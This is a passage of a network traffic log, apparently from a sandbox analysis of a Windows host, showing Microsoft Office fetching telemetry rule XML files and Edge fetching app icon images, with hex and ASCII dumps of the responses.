2024-11-18 03:41:35 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034135Z-16547b76f7f6nr89hC1DFWz7ug00000001fg00000000p9s4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e0fa4109-b01e-0070-571f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034135Z-164f84587bfn7ppchC1DFW0meg00000004hg00000000hfue x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034135Z-16547b76f7f7zzl8hC1DFWmtag000000042g00000000htp1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:35 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034135Z-16547b76f7fgvq8chC1DFWhd2w00000005q000000000rvpe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49915	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:36 UTC	522	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 799c58f9-b01e-003a-4677-382ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034136Z-164f84587bf5rpzqhC1DFWmra800000005a00000000055sc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:36 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49916	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:36 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034136Z-16547b76f7ff9zf4hC1DFW2pfc00000002y0000000000ukv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:36 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49917	13.107.246.57	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:36 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: fa67fb9f-101e-0051-031f-3876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T034136Z-16547b76f7ftfv4jhC1DFWuhug00000002tg00000000gcu3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:36 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:37 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: f0850b4c-401e-005b-0318-379c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034137Z-164f84587bfs5tz9hC1DFW9a3w00000005ag00000000a1qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:37 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034137Z-16547b76f7fl5zvnhC1DFWtk9g00000003pg00000000av7b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034136Z-164f84587bfh9nvdhC1DFWmce0000000031g00000000t0zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:36 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034136Z-16547b76f7fd77jrhC1DFWfwq000000001u000000000qz19 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
